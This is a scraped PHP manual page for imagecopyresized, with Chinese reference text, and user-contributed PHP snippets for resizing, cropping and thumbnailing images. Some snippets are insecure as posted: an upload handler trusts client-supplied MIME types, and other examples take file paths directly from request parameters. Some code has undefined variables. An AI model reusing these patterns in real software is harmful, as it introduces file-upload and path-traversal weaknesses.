                for ($u = 0; $u < ($w - $ow); $u++)  {
                    for ($p = 0; $p < ($t - $ot); $p++)  {
                        $c = ImageColorsForIndex($src_img, ImageColorAt($src_img, $ot + $p, $ow + $u));
                        $r += $c['red'];
                        $g += $c['green'];
                        $b += $c['blue'];
                        $a++;
                    }
                }
                ImageSetPixel($dst_img, $x, $y, ImageColorClosest($dst_img, $r / $a, $g / $a, $b / $a));
            }
        }

        // apply the temp image over the returned image and use the destination x,y coordinates
        imagecopy($dst_image, $dst_img, $dst_x, $dst_y, 0, 0, $dst_w, $dst_h);

        // we should return true since ImageCopyResampled/ImageCopyResized do it
        return true;
    }
?>
Michael Shepanski 14-Jan-2008 10:09
Here is a function I thought I would share that will resample and copy an image with rounded corners.

<?php
/** ------------------------------------------------------------
 * Copy and resample an image with rounded corners.
 * ----------------------------------------------------------- */
function imageRoundedCopyResampled(&$dstimg, &$srcimg, $dstx, $dsty, $srcx,
                                   $srcy, $dstw, $dsth, $srcw, $srch, $radius) {
    # Resize the Source Image
    $srcResized = imagecreatetruecolor($dstw, $dsth);
    imagecopyresampled($srcResized, $srcimg, 0, 0, $srcx, $srcy,
                       $dstw, $dsth, $srcw, $srch);
    # Copy the Body without corners
    imagecopy($dstimg, $srcResized, $dstx+$radius, $dsty,
              $radius, 0, $dstw-($radius*2), $dsth);
    imagecopy($dstimg, $srcResized, $dstx, $dsty+$radius,
              0, $radius, $dstw, $dsth-($radius*2));
    # Create a list of iterations; array(array(X1, X2, CenterX, CenterY), ...)
    # Iterations in order are: Top-Left, Top-Right, Bottom-Left, Bottom-Right
    $iterations = array(
        array(0, 0, $radius, $radius),
        array($dstw-$radius, 0, $dstw-$radius, $radius),
        array(0, $dsth-$radius, $radius, $dsth-$radius),
        array($dstw-$radius, $dsth-$radius, $dstw-$radius, $dsth-$radius)
    );
    # Loop through each corner 'iteration'
    foreach($iterations as $iteration) {
        list($x1,$y1,$cx,$cy) = $iteration;
        for ($y=$y1; $y<=$y1+$radius; $y++) {
            for ($x=$x1; $x<=$x1+$radius; $x++) {
                # If length (X,Y)->(CX,CY) is less then radius draw the point
                $length = sqrt(pow(($cx - $x), 2) + pow(($cy - $y), 2));
                if ($length < $radius) {
                    imagecopy($dstimg, $srcResized, $x+$dstx, $y+$dsty,
                              $x, $y, 1, 1);
                }
            }
        }
    }
}
?>
matt1walsh DESPAMMER gmail dot com 19-Nov-2007 07:15
None of the stuff I've seen for resizing transparent GIFs works consistently and yields a good image. The hack I thought of is silly, but it works okay -- convert GIF to PNG. This worked for me.

$g_iw is new image width
$g_ih is new image height

$img_src=imagecreatefromgif($g_srcfile);
$img_dst=imagecreatetruecolor($g_iw,$g_ih);

//preserve alpha
imagecolortransparent($img_dst, imagecolorallocate($img_dst, 0, 0, 0));
imagealphablending($img_dst, false);
imagesavealpha($img_dst, true);
imagecopyresampled($img_dst, $img_src, 0, 0, 0, 0, $g_iw, $g_ih, $g_is[0], $g_is[1]);

imagepng($img_dst, $g_dstfile);
imagedestroy($img_dst);
Dave McCourt 12-Nov-2007 05:32
This function is taken from lots of web sources so thanks to all for posting. It creates square or landscape thumbnails from .jpgs  from either portait or landscape original images. I decide in advance which way I want the thumbs to display for consistency. I usually sharpen the images as well post-upload, to save on server resources. I can post this code if anyone wants it. I hope this helps someone...

    # create thumbnails from jpgs
    # usage:
    # create_jpgthumb(uploaded file, final file (with path), thumb height, thumb width, jpg quality, scale thumb (true) or fixed size (false);
    function create_jpgthumb($original, $thumbnail, $max_width, $max_height, $quality, $scale = true) {

        list ($src_width, $src_height, $type, $w) = getimagesize($original);

        if (!$srcImage = @imagecreatefromjpeg($original)) {
            return false;
        }

        # image resizes to natural height and width
        if ($scale == true) {

            if ($src_width > $src_height ) {
                $thumb_width = $max_width;
                $thumb_height = floor($src_height * ($max_width / $src_width));
            } else if ($src_width < $src_height ) {
                $thumb_height = $max_height;
                $thumb_width = floor($src_width * ($max_height / $src_height));
            } else {
                $thumb_width = $max_height;
                $thumb_height = $max_height;
            }

            if (!@$destImage = imagecreatetruecolor($thumb_width, $thumb_height)) {
                return false;
            }

            if (!@imagecopyresampled($destImage, $srcImage, 0, 0, 0, 0, $thumb_width, $thumb_height, $src_width, $src_height)) {
                return false;
            }

        # image is fixed to supplied width and height and cropped
        } else if ($scale == false) {

            $ratio = $max_width / $max_height;

            # thumbnail is landscape
             if ($ratio > 1) {

                # uploaded pic is landscape
                if ($src_width > $src_height) {

                    $thumb_width = $max_width;
                    $thumb_height = ceil($max_width * ($src_height / $src_width));

                    if ($thumb_height > $max_width) {
                        $thumb_height = $max_width;
                        $thumb_width = ceil($max_width * ($src_width / $src_height));
                    }

                # uploaded pic is portrait
                } else {

                    $thumb_height = $max_width;
                    $thumb_width = ceil($max_width * ($src_height / $src_width));

                    if ($thumb_width > $max_width) {
                        $thumb_width = $max_width;
                        $thumb_height = ceil($max_width * ($src_height / $src_width));
                    }

                    $off_h = ($src_height - $src_width) / 2;

                }

                if (!@$destImage = imagecreatetruecolor($max_width, $max_height)) {
                    return false;
                }

                if (!@imagecopyresampled($destImage, $srcImage, 0, 0, 0, $off_h, $thumb_width, $thumb_height, $src_width, $src_height)) {
                    return false;
                }

            # thumbnail is square
             } else {

                if ($src_width > $src_height) {
                    $off_w = ($src_width - $src_height) / 2;
                    $off_h = 0;
                    $src_width = $src_height;
                } else if ($src_height > $src_width) {
                    $off_w = 0;
                    $off_h = ($src_height - $src_width) / 2;
                    $src_height = $src_width;
                } else {
                    $off_w = 0;
                    $off_h = 0;
                }

                if (!@$destImage = imagecreatetruecolor($max_width, $max_height)) {
                    return false;
                }

                if (!@imagecopyresampled($destImage, $srcImage, 0, 0, $off_w, $off_h, $max_width, $max_height, $src_width, $src_height)) {
                    return false;
                }

             }

        }

        @imagedestroy($srcImage);

        if (!@imageantialias($destImage, true)) {
            return false;
        }

        if (!@imagejpeg($destImage, $thumbnail, $quality)) {
            return false;
        }

        @imagedestroy($destImage);

        return true;
    }
tim dot daldini at gmail dot be 03-Oct-2007 08:57
Tim's function is a whole lot faster, however, the quality setting doesnt seem right since resizing very big images doesnt affect quality of the resulting thumbnails that much on quality 1 for example.

Anyone has figured out how to use a more correct quality setting by comparing image surfaces (for example) basing on Tim's function?

images with a total of 10Megapixels that contain 5Megapixels when resized should use the same quality setting like images that contain 1Megapixels but only 0.5 when resized.

Not hard to understand, but the memoryload would be a lot lower if the function could decide to use a setting of quality 1 automatically when resizing big images to small thumbnails. This would be handy especially when using the function for images of various sizes in the same application.
eblejr AT phrebh DOT com 05-Sep-2007 11:38
Tim's code is fast, but if you're trying to put resampled images anywhere but in the top-left corner, it doesn't work.
rich at corephp dot co dot uk 20-May-2007 03:05
Be wary of this function when resizing images to make them *larger* than the original due to the memory consumption rate. For example a 200KB JPEG file (1024x768) will take up 4MB of memory when loaded, but when resampled to twice the the size the memory use jumps to 20.1MB. imagecopyresized does the same. Allow approx. 5 bytes per *pixel* for memory allowance when dealing with true colour images.
areddan at silverarm dot ie 27-Jan-2006 12:40
<?php
// The file
$filein = ''; // File in
$fileout = 'ttt.gif'; // Fileout - optional

$imagethumbsize_w = 100; // thumbnail size (area cropped in middle of image)
$imagethumbsize_h = 75; // thumbnail size (area cropped in middle of image)
resize_then_crop( $filein,$fileout,$imagethumbsize_w,
$imagethumbsize_h,/*rgb*/"255","255","255");

//Author Alan Reddan Silverarm Solutions
//Date 27/01/2005
//Function that works well with images.
//It takes the image and reduces its size to best fit. i.e If you have an image
//that is 200 X 100 and you want a thumbnail of 75 X 50,
//it first resizes the image to 100 X 50
//and then takes out a portion 75 X 50 from then center of the input image.
//So loads of image information is retained.
//The corollary also holds if your input image is 100 X 200
//it first resizes image to 75 X 150 and then takes out a
//portion 75 X 75 from the centre
// The advantage here is that function decides on whether
//resize is by width or height itself.
//it also decides whether to use the height or the width as the base start point
//in the case that athumbnail is rectangular

function resize_then_crop( $filein,$fileout,
$imagethumbsize_w,$imagethumbsize_h,$red,$green,$blue)
{

// Get new dimensions
list($width, $height) = getimagesize($filein);
$new_width = $width * $percent;
$new_height = $height * $percent;

   if(preg_match("/.jpg/i", "$filein"))
   {
       $format = 'image/jpeg';
   }
   if (preg_match("/.gif/i", "$filein"))
   {
       $format = 'image/gif';
   }
   if(preg_match("/.png/i", "$filein"))
   {
       $format = 'image/png';
   }

       switch($format)
       {
           case 'image/jpeg':
           $image = imagecreatefromjpeg($filein);
           break;
           case 'image/gif';
           $image = imagecreatefromgif($filein);
           break;
           case 'image/png':
           $image = imagecreatefrompng($filein);
           break;
       }

$width = $imagethumbsize_w ;
$height = $imagethumbsize_h ;
list($width_orig, $height_orig) = getimagesize($filein);

if ($width_orig < $height_orig) {
  $height = ($imagethumbsize_w / $width_orig) * $height_orig;
} else {
    $width = ($imagethumbsize_h / $height_orig) * $width_orig;
}

if ($width < $imagethumbsize_w)
//if the width is smaller than supplied thumbnail size
{
$width = $imagethumbsize_w;
$height = ($imagethumbsize_w/ $width_orig) * $height_orig;;
}

if ($height < $imagethumbsize_h)
//if the height is smaller than supplied thumbnail size
{
$height = $imagethumbsize_h;
$width = ($imagethumbsize_h / $height_orig) * $width_orig;
}

$thumb = imagecreatetruecolor($width , $height);
$bgcolor = imagecolorallocate($thumb, $red, $green, $blue);
ImageFilledRectangle($thumb, 0, 0, $width, $height, $bgcolor);
imagealphablending($thumb, true);

imagecopyresampled($thumb, $image, 0, 0, 0, 0,
$width, $height, $width_orig, $height_orig);
$thumb2 = imagecreatetruecolor($imagethumbsize_w , $imagethumbsize_h);
// true color for best quality
$bgcolor = imagecolorallocate($thumb2, $red, $green, $blue);
ImageFilledRectangle($thumb2, 0, 0,
$imagethumbsize_w , $imagethumbsize_h , $white);
imagealphablending($thumb2, true);

$w1 =($width/2) - ($imagethumbsize_w/2);
$h1 = ($height/2) - ($imagethumbsize_h/2);

imagecopyresampled($thumb2, $thumb, 0,0, $w1, $h1,
$imagethumbsize_w , $imagethumbsize_h ,$imagethumbsize_w, $imagethumbsize_h);

// Output
//header('Content-type: image/gif');
//imagegif($thumb); //output to browser first image when testing

if ($fileout !="")imagegif($thumb2, $fileout); //write to file
header('Content-type: image/gif');
imagegif($thumb2); //output to browser
}
?>
04-Jul-2005 05:46
It should be noted that the imagecopyresampled() function is much more blurry than Photoshop CS's default bicubic funtion. And looks similar to a blury version of Photoshop's bilinear function. The documentation fails to note which algorithm is used in resampling.


拷贝部分图像并调整大小

  • ? imagecopyresampled
  • imagecreate ?
  • PHP Manual
  • GD 和图像处理 函数
  • 拷贝部分图像并调整大小

imagecopyresized

(PHP 4, PHP 5, PHP 7, PHP 8)

imagecopyresized — 拷贝部分图像并调整大小

说明

imagecopyresized(
GdImage $dst_image,
GdImage $src_image,
int $dst_x,
int $dst_y,
int $src_x,
int $src_y,
int $dst_width,
int $dst_height,
int $src_width,
int $src_height
): bool

imagecopyresized() 将一幅图像中的一块矩形区域拷贝到另一个图像中。dst_image 和 src_image 分别是目标图像和源图像的标识符。

换句话说，imagecopyresized() 会从 src_image 中取出一个宽度为 src_width 高度为 src_height 的矩形区域，在位置（src_x、src_y）并将其放置在 dst_image 中宽度为 dst_width 高度为 dst_height 的矩形区域中，位置为（dst_x、dst_y）。

如果源和目标的宽度和高度不同，则会进行相应的图像收缩和拉伸。坐标指的是左上角。本函数可用来在同一幅图内部拷贝（如果 dst_image 和 src_image 相同的话）区域，但如果区域交迭的话则结果不可预知。

参数

dst_image

目标图象资源。

src_image

源图象资源。

dst_x

目标点的 x 坐标。

dst_y

目标点的 y 坐标。

src_x

源点的 x 坐标。

src_y

源点的 y 坐标。

dst_width

目标宽度。

dst_height

目标高度。

src_width

源图象的宽度。

src_height

源图象的高度。

返回值

成功时返回 true， 或者在失败时返回 false。

更新日志

版本 | 说明
8.0.0 | dst_image 和 src_image 现在需要 GdImage 实例，之前需要 resource。

示例

Example #1 缩放图像

此示例将以一半大小显示图像。

<?php
// File and new size
$filename = 'test.jpg';
$percent = 0.5;

// Content type
header('Content-Type: image/jpeg');

// Get new sizes
list($width, $height) = getimagesize($filename);
$newwidth = $width * $percent;
$newheight = $height * $percent;

// Load
$thumb = imagecreatetruecolor($newwidth, $newheight);
$source = imagecreatefromjpeg($filename);

// Resize
imagecopyresized($thumb, $source, 0, 0, 0, 0, $newwidth, $newheight, $width, $height);

// Output
imagejpeg($thumb);
?>

以上示例的输出类似于：

图像将以一半大小输出，但使用 imagecopyresampled() 可以获得更好的质量。

注释

Note:

因为调色板图像限制（255+1 种颜色）有个问题。重采样或过滤图像通常需要多于 255 种颜色，计算新的被重采样的像素及其颜色时采用了一种近似值。对调色板图像尝试分配一个新颜色时，如果失败我们选择了计算结果最接近（理论上）的颜色。这并不总是视觉上最接近的颜色。这可能会产生怪异的结果，例如空白（或者视觉上是空白）的图像。要跳过这个问题，请使用真彩色图像作为目标图像，例如用 imagecreatetruecolor() 创建的。

参见

  • imagecopyresized()
  • imagescale() - Scale an image using the given new width and height
  • imagecrop() - Crop an image to the given rectangle

User Contributed Notes

eslindsey at gmail dot com 15-May-2017 08:32
I'm not sure why nworld3d at yahoo dot com's http://php.net/manual/en/function.imagecopyresized.php#69123 was downvoted--it was exactly what I was looking for to composite several alpha channel images, just like Photoshop. I needed to start with transparency and stack a few alpha images one after another on top of it. After mucking about with the built in PHP functions, I was worried that I would need to cheat by removing all the alpha and then using a transparent color in the end, but that would have looked different depending on what background I put it on top of. nworld3d at yahoo dot's comment saved me from having to go that route, and gets a +1 from me.
jack at computerrageprevention dot ca 19-Apr-2013 06:43
There are many user notes here that deal with creating a thumbnail, but I wrote a function that created a thumbnail of an image as it gets uploaded.  It is simply a combination of a file uploader with a thumbnail maker, but it is very simple to use now.

Following is an index.php file that contains the upload form, the function, and an example of how to use the function. The last two values in the 'thumb' function are for the width and height limits for the resulting thumbnail.  No matter what size the original image, the thumbnail will always fit within the dimensions specified.

<?php

if ($_POST[formname] =="upload")
{
 if ($_FILES)
 {
  foreach ($_FILES as $key => $value)
  {
   $m = thumb($value, realpath(dirname(__FILE__)) . "/" . "image_1", realpath(dirname(__FILE__)) . "/" . "thumb_1", 150, 150);

   // display any messages, whether success or failure
   if ($m) { foreach($m as $text) { print "$text<br>"; } }
  }
 }
}

function thumb($file, $bigname, $thumbname, $maxwidth, $maxheight)
{
 if (is_uploaded_file($file[tmp_name]))
 {
  // determine the image type
  if ($file[type] == "image/jpeg") { $ext = ".jpg"; }
  if ($file[type] == "image/png") { $ext = ".png"; }
  if ($file[type] == "image/gif") { $ext = ".gif"; }

  $newfile = $bigname . $ext;

  if (move_uploaded_file($file[tmp_name], $newfile))
  {
   $message[] = "Upload complete";

   // get old image size and convert to a maximum width/height combo
   $size = getimagesize($newfile);

   // only do the conversion if the width is greater than zero, otherwise there could be a division by zero error
   if ($size[1] != 0)
   {

    // Calculate the thumbnail's width an height, based on the max sized allowed and the original's dimensions
    if ($size[0]/$size[1] > $maxwidth/$maxheight)
    { $newwidth = $maxwidth; $newheight = floor(($size[1] * $maxwidth) / $size[0]); }
     else
    { $newheight = $maxheight; $newwidth = ceil(($size[0] * $maxheight) / $size[1]); }

    // Create the thumbnail
    $i = imagecreate($newwidth, $newheight);

    if ($ext == ".jpg") { $j = imagecreatefromjpeg($newfile); }
    if ($ext == ".png") { $j = imagecreatefrompng($newfile); }
    if ($ext == ".gif") { $j = imagecreatefromgif($newfile); }

    if ($j)
    {
     // Copy the original image and paste into the new image, resized
     if (imagecopyresized($i, $j, 0, 0, 0, 0, $newwidth, $newheight, $size[0], $size[1]))
     {
      if (imagejpeg($i, $thumbname . $ext, 100))
      {
       $message[] = "Image thumb created successfully";
      } else {
       $message[] = "Image thumb would not export";
      }
     } else {
      $message[] = "Image resize failure";
     }
    } else {
     $message[] = "Image type not recognized";
    }
   } else { // size[1] != 0
    $message[] = "Image size invalid";
   }
  } // move_uploaded_file
 } // is_uploaded_file

 return $message;
}

print "
<html>
<head>
<title>Image upload and create Thumbnail</title>
</head>

<body>

<form action='index.php' method='POST' enctype='multipart/form-data'>
<input type='hidden' name='formname' value='upload'>
<input type='file' name='fileupload'>
<input type='submit' value='Upload'>
</form>

</body>
</html>
";

?>

NOTE: This does not deal with adjusting palettes or transparent colors, but that can be added if you need it.
licson0729 at gmail dot com 17-Nov-2011 03:09
I couldn't find any script that resize an image and give border to it. So I made one myself. Hope that can help you.

<?php
function imagecopyresizedwithborder(&$src,$width,$height,$borderthickess,$bordercolor=NULL)
{
    list($width_orig, $height_orig) = array(imagesx($src),imagesy($src));

    if ($width && ($width_orig < $height_orig))
    {
        $width = ($height / $height_orig) * $width_orig;
    }
    else
    {
        $height = ($width / $width_orig) * $height_orig;
    }

    $dst = imagecreatetruecolor($width+2*$borderthickess,$height+2*$borderthickess);
    imagecolortransparent($dst,imagecolorallocate($dst,0,0,0));
    imagealphablending($dst,false);
    imagesavealpha($dst,true);
    imagefill($dst,0,0,(isset($bordercolor) ? $bordercolor : imagecolorallocate($dst,255,255,255)));
    imagecopyresampled($dst,$src,$borderthickess,$borderthickess,0,0,$width,$height,imagesx($src),imagesy($src));
    return $dst;
}

?>
email at vladislav dot net 22-Jun-2011 03:30
I didn't find here before any script giving both GIF and PNG transparent images correct, so I offer you mine.
Here is the code for 'image.php' script to generate a resized or original sized images of any type (JPEG, GIF, PNG) with respect to possible transparency of GIF and PNG.
The following script can be used in HTML tag IMG (to display an image marked in database with ID equal to 1 and resized to max 100px) like this:
<img src="image.php?id=1&size=100" />.

<?php
/* *************************
 * Script by A. Vladislav I.
 * ************************* */
$id = $_GET['id'];
$size = $_GET['size'];
if(!empty($id))
{
/* Here you may take the source image path from where you want: current direcory, databse etc.
 I used the $_GET['id'] for giving the script an ID of the image in database, where its real name is stored.
 I consider later the $f variable responsible to store file name and $type variable responsible to store mime type of the image. You may use function GetImageSize() to discover the mime type.
 So don't forget to set the */
  $f = /*...*/ ;
/* and */
  $type = /*...*/ ;
/* ... */
}
$imgFunc = '';
switch($type)
{
    case 'image/gif':
        $img = ImageCreateFromGIF($f);
        $imgFunc = 'ImageGIF';
        $transparent_index = ImageColorTransparent($img);
        if($transparent_index!=(-1)) $transparent_color = ImageColorsForIndex($img,$transparent_index);
        break;
    case 'image/jpeg':
        $img = ImageCreateFromJPEG($f);
        $imgFunc = 'ImageJPEG';
        break;
    case 'image/png':
        $img = ImageCreateFromPNG($f);
        ImageAlphaBlending($img,true);
        ImageSaveAlpha($img,true);
        $imgFunc = 'ImagePNG';
        break;
    default:
        die("ERROR - no image found");
        break;
}
header("Content-Type: ".$type);
if(!empty($size))
{

    list($w,$h) = GetImageSize($f);
    if( $w==0 or $h==0 ) die("ERROR - zero image size");
    $percent = $size / (($w>$h)?$w:$h);
    if($percent>0 and $percent<1)
    {
        $nw = intval($w*$percent);
        $nh = intval($h*$percent);
        $img_resized = ImageCreateTrueColor($nw,$nh);
        if($type=='image/png')
        {
            ImageAlphaBlending($img_resized,false);
            ImageSaveAlpha($img_resized,true);
        }
        if(!empty($transparent_color))
        {
            $transparent_new = ImageColorAllocate($img_resized,$transparent_color['red'],$transparent_color['green'],$transparent_color['blue']);
            $transparent_new_index = ImageColorTransparent($img_resized,$transparent_new);
            ImageFill($img_resized, 0,0, $transparent_new_index);
        }
        if(ImageCopyResized($img_resized,$img, 0,0,0,0, $nw,$nh, $w,$h ))
        {
            ImageDestroy($img);
            $img = $img_resized;

        }
    }
}
$imgFunc($img);
ImageDestroy($img);
?>

P.S.
The script can be written better (optimized etc.), but I hope you can do it by yourself.
kvslaap 02-May-2009 07:17
this is a script which loops trough a directory that is currently set to "files" and resizes all images with respecting the image ratio

<?php
//use this line if you get the error message of using too much memory (strip '//')
//ini_set ( "memory_limit", "48M");

$target_width = 800;
$target_height = 600;

if (ob_get_level() == 0) ob_start();
if ($handle = opendir('files/')) {
  while (false !== ($file = readdir($handle))) {
    if ($file != "." && $file != "..") {
      $destination_path = './files/';
      $target_path = $destination_path . basename($file);

      $extension = pathinfo($target_path);
      $allowed_ext = "jpg, gif, png, bmp, jpeg, JPG";
      $extension = $extension[extension];
      $allowed_paths = explode(", ", $allowed_ext);
      $ok = 0;
      for($i = 0; $i < count($allowed_paths); $i++) {
        if ($allowed_paths[$i] == "$extension") {
          $ok = "1";
        }
      }

      if ($ok == "1") {

        if($extension == "jpg" || $extension == "jpeg" || $extension == "JPG"){
          $tmp_image=imagecreatefromjpeg($target_path);
        }

        if($extension == "png") {
          $tmp_image=imagecreatefrompng($target_path);
        }

        if($extension == "gif") {
          $tmp_image=imagecreatefromgif($target_path);
        }

        $width = imagesx($tmp_image);
        $height = imagesy($tmp_image);

        //calculate the image ratio
        $imgratio = ($width / $height);

        if ($imgratio>1) {
          $new_width = $target_width;
          $new_height = ($target_width / $imgratio);
        } else {
          $new_height = $target_height;
          $new_width = ($target_height * $imgratio);
        }

        $new_image = imagecreatetruecolor($new_width,$new_height);
        ImageCopyResized($new_image, $tmp_image,0,0,0,0, $new_width, $new_height, $width, $height);
        //Grab new image
        imagejpeg($new_image, $target_path);
        $image_buffer = ob_get_contents();
        ImageDestroy($new_image);
        ImageDestroy($tmp_image);
        echo " $file resized to $new_width x $new_height <br> \n";
        echo str_pad('',4096)."\n";
        ob_flush();
        flush();
      }
    }
  }
  closedir($handle);
  echo "Done.";
  ob_end_flush();
}
?>
david from quidware 28-Jan-2009 12:50
If the script should resize and save thumb I use this simple code, I made a couple corrections from last one and added the possibility to resize to a max HEIGHT:

<?php
/**
 * Make thumbs from JPEG, PNG, GIF source file
 *
 * $tmpname = $_FILES['source']['tmp_name'];
 * $size - max width size
 * $save_dir - destination folder
 * $save_name - tnumb new name
 * $maxisheight - is max for width (if not is for height)
 *
 * Author:  David Taubmann http://www.quidware.com (edited from LEDok - http://www.citadelavto.ru/)
 */

/*/    // And now how using this function fast:
if ($_POST[pic])
    {
    $tmpname  = $_FILES['pic']['tmp_name'];
    @img_resize( $tmpname , 600 , "../album" , "album_".$id.".jpg");
    @img_resize( $tmpname , 120 , "../album" , "album_".$id."_small.jpg");
    @img_resize( $tmpname , 60 , "../album" , "album_".$id."_maxheight.jpg", 1);
    }
    else
    echo "No Images uploaded via POST";
/**/

function img_resize( $tmpname, $size, $save_dir, $save_name, $maxisheight = 0 )
    {
    $save_dir     .= ( substr($save_dir,-1) != "/") ? "/" : "";
    $gis        = getimagesize($tmpname);
    $type        = $gis[2];
    switch($type)
        {
        case "1": $imorig = imagecreatefromgif($tmpname); break;
        case "2": $imorig = imagecreatefromjpeg($tmpname);break;
        case "3": $imorig = imagecreatefrompng($tmpname); break;
        default:  $imorig = imagecreatefromjpeg($tmpname);
        }

        $x = imagesx($imorig);
        $y = imagesy($imorig);

        $woh = (!$maxisheight)? $gis[0] : $gis[1] ;

        if($woh <= $size)
        {
        $aw = $x;
        $ah = $y;
        }
            else
        {
            if(!$maxisheight){
                $aw = $size;
                $ah = $size * $y / $x;
            } else {
                $aw = $size * $x / $y;
                $ah = $size;
            }
        }
        $im = imagecreatetruecolor($aw,$ah);
    if (imagecopyresampled($im,$imorig , 0,0,0,0,$aw,$ah,$x,$y))
        if (imagejpeg($im, $save_dir.$save_name))
            return true;
            else
            return false;
    }
?>
it at chmzap dot ru 17-Aug-2008 10:52
If the script should resize and save thumb I use this simple code:

<?php
/**
 * Make thumbs from JPEG, PNG, GIF source file
 *
 * $tmpname = $_FILES['source']['tmp_name'];
 * $size - max width size
 * $save_dir - destination folder
 * $save_name - tnumb new name
 *
 * Author:  LEDok - http://www.citadelavto.ru/
 */

function img_resize( $tmpname, $size, $save_dir, $save_name )
    {
    $save_dir .= ( substr($save_dir,-1) != "/") ? "/" : "";
        $gis       = GetImageSize($tmpname);
    $type       = $gis[2];
    switch($type)
        {
        case "1": $imorig = imagecreatefromgif($tmpname); break;
        case "2": $imorig = imagecreatefromjpeg($tmpname);break;
        case "3": $imorig = imagecreatefrompng($tmpname); break;
        default:  $imorig = imagecreatefromjpeg($tmpname);
        }

        $x = imageSX($imorig);
        $y = imageSY($imorig);
        if($gis[0] <= $size)
        {
        $av = $x;
        $ah = $y;
        }
            else
        {
            $yc = $y*1.3333333;
            $d = $x>$yc?$x:$yc;
            $c = $d>$size ? $size/$d : $size;
              $av = $x*$c;        //высота исходной картинки
              $ah = $y*$c;        //длина исходной картинки
        }
        $im = imagecreate($av, $ah);
        $im = imagecreatetruecolor($av,$ah);
    if (imagecopyresampled($im,$imorig , 0,0,0,0,$av,$ah,$x,$y))
        if (imagejpeg($im, $save_dir.$save_name))
            return true;
            else
            return false;
    }

?>

And now how using this function fast

<?php
if ($_POST[pic])
{
$tmpname  = $_FILES['pic']['tmp_name'];
@img_resize( $tmpname , 600 , "../album" , "album_".$id.".jpg");
@img_resize( $tmpname , 120 , "../album" , "album_".$id."_small.jpg");
@img_resize( $tmpname , 60 , "../album" , "album_".$id."verysmall.jpg");
}
else
echo "No Images uploaded via POST";
?>
andrvm at andrvm dot ru 14-Oct-2007 04:09
One more version of setMemoryForImage (see below)

<?php

function setMemoryForImage($filename)
{
   $imageInfo    = getimagesize($filename);
   $memoryNeeded = round(($imageInfo[0] * $imageInfo[1] * $imageInfo['bits'] * $imageInfo['channels'] / 8 + Pow(2, 16)) * 1.65);

   $memoryLimit = (int) ini_get('memory_limit')*1048576;

  if ((memory_get_usage() + $memoryNeeded) > $memoryLimit)
   {
     ini_set('memory_limit', ceil((memory_get_usage() + $memoryNeeded + $memoryLimit)/1048576).'M');
     return (true);
   }
   else return(false);
}

?>
//work's it. no problem!
nils dot clark-bernhard at human-aspects dot de 08-Jun-2007 04:52
Regarding ob at babcom dot biz's function Resize($Dir,$Image,$NewDir,$NewImage,$MaxWidth,$MaxHeight,$Quality)

Make sure to not use a quality of 9 or higher for png resizing.

PHP will output an error like:
fatal libpng error: zlib failed to initialize compressor
or
gd-png error: setjmp returns error condition
Halit Yesil mail at halityesil dot com 23-Mar-2007 08:34
This Class image resize or crop,
your copyright text write on the image and your logo marge on the image.

Full Class code => http://www.phpbuilder.com/snippet/download.php?type=snippet&id=2188
/**
     * Author         : Halit YESIL
     * www            : www.halityesil.com, www.prografik.net, www.trteknik.net
     * email        : mail@halityesil.com, halit.yesil@prografik.net, halit.yesil@trteknik.net
     * GSM            : +90.535 648 3504
     * Create Date    : 21 / 03 / 2007
     *
     *
     * Script        : Image resize and croping class.
     *                  You can Write copyright text and attach your logo write on image with this class
     *
     *
     * $obj = new pg_image($arg);
     *
     *
     * Varibles Information
     *         [0] type => (POST | FILE) => Source File Send Type _FILES OR Dir
     *         [1] file => ({if POST Array file = $_FILES['yourfile']}|{if FILE false}) => Source File filesource
     *         [2] path => ({if FILE String [ dirname/filename.extension ]}) => Source File Root Path
     *         [3] target => ({if FILE String [ dirname/filename.extension ]}) => Target File Root Path
     *         [4] width => (integer) => Target File Width
     *         [5] height => (integer) => Target File Height
     *         [6] quality => (integer 1 - 100) => Target File Quality 0-100 %
     *         [7] action => (crop | resize) => Target Action "resize" OR "crop"
     *         [8] bordersize => (integer 0-5) => Target Border Size
     *         [9] bordercolor => (color hex) => Target Border Color
     *         [10] bgcolor => (color hex) => Target Background Color
     *         [11] copytext => (String) => Copyright Content Text
     *         [12] copycolor => (color hex) => Copyright Text Color
     *         [13] copyshadow => (color hex) => Copyright Text Shadow color
     *         [14] copybgcolor => (color hex) => Copyright Background Color
     *         [15] copybgshadow => (color hex) => Copyright Background Shadow Color
     *         [16] copybordersize => (integer 0-5) => Copyright Border Size 1-3
     *         [17] copybordercolor => (color hex) => Copyright Border Color
     *      [18] copyposition => (top | topright | topleft | center | left | right | bottom | bottomright | bottomleft) => Copyright Position
     *         [19] logoposition => (top | topright | topleft | center | left | right | bottom | bottomright | bottomleft) => Logo Image Position
     *         [20] logoimage => (String [ dirname/filename.extension] Allow Extension (PNG | GIF | JPG)) => Logo Image Root Path "PNG" OR "GIF" OR "JPG"
     *
     *
     *
     *
     */

<?php

$source = ($_REQUEST['img'] != '')?$_REQUEST['img']:'braille3.jpg';
    $arg =array(     type =>'FILE',
                    file =>false,
                     path =>$source,
                     target =>'',
                     width =>150,
                     height =>50,
                     quality =>80,
                     action =>'resize',
                     bordersize =>1,
                     bordercolor =>'#00CCFF',
                     bgcolor =>'#000000',
                     copytext =>'Bodrum 1998',
                     copycolor =>'#FFFFFF',
                     //copyshadow =>'#000000',
                     //copybgcolor =>'#D0FFCC',
                     //copybgshadow =>'#656565',
                     copybordersize =>0,
                     copybordercolor =>'#FFFFFF',
                     copyposition =>'bottom',
                     logoposition =>'topleft',
                     logoimage =>'logo.png');

    //$arg = "$source,,400,300,80,resize";
    new pg_image($arg);

?>
feip at feip dot net 15-Nov-2006 04:23
This code convert images to thumbs.
How he work -
Check source image - Width and Height,
crop a maximum from original image,
resize croped to user defined size

// makeIcons_MergeCenter($src, $dst, $dstx, $dsty);

<?php

function makeIcons_MergeCenter($src, $dst, $dstx, $dsty){

//$src = original image location
//$dst = destination image location
//$dstx = user defined width of image
//$dsty = user defined height of image

$allowedExtensions = 'jpg jpeg gif png';

$name = explode(".", $src);
$currentExtensions = $name[count($name)-1];
$extensions = explode(" ", $allowedExtensions);

for($i=0; count($extensions)>$i; $i=$i+1){
if($extensions[$i]==$currentExtensions)
{ $extensionOK=1;
$fileExtension=$extensions[$i];
break; }
}

if($extensionOK){

$size = getImageSize($src);
$width = $size[0];
$height = $size[1];

if($width >= $dstx AND $height >= $dsty){

$proportion_X = $width / $dstx;
$proportion_Y = $height / $dsty;

if($proportion_X > $proportion_Y ){
$proportion = $proportion_Y;
}else{
$proportion = $proportion_X ;
}
$target['width'] = $dstx * $proportion;
$target['height'] = $dsty * $proportion;

$original['diagonal_center'] =
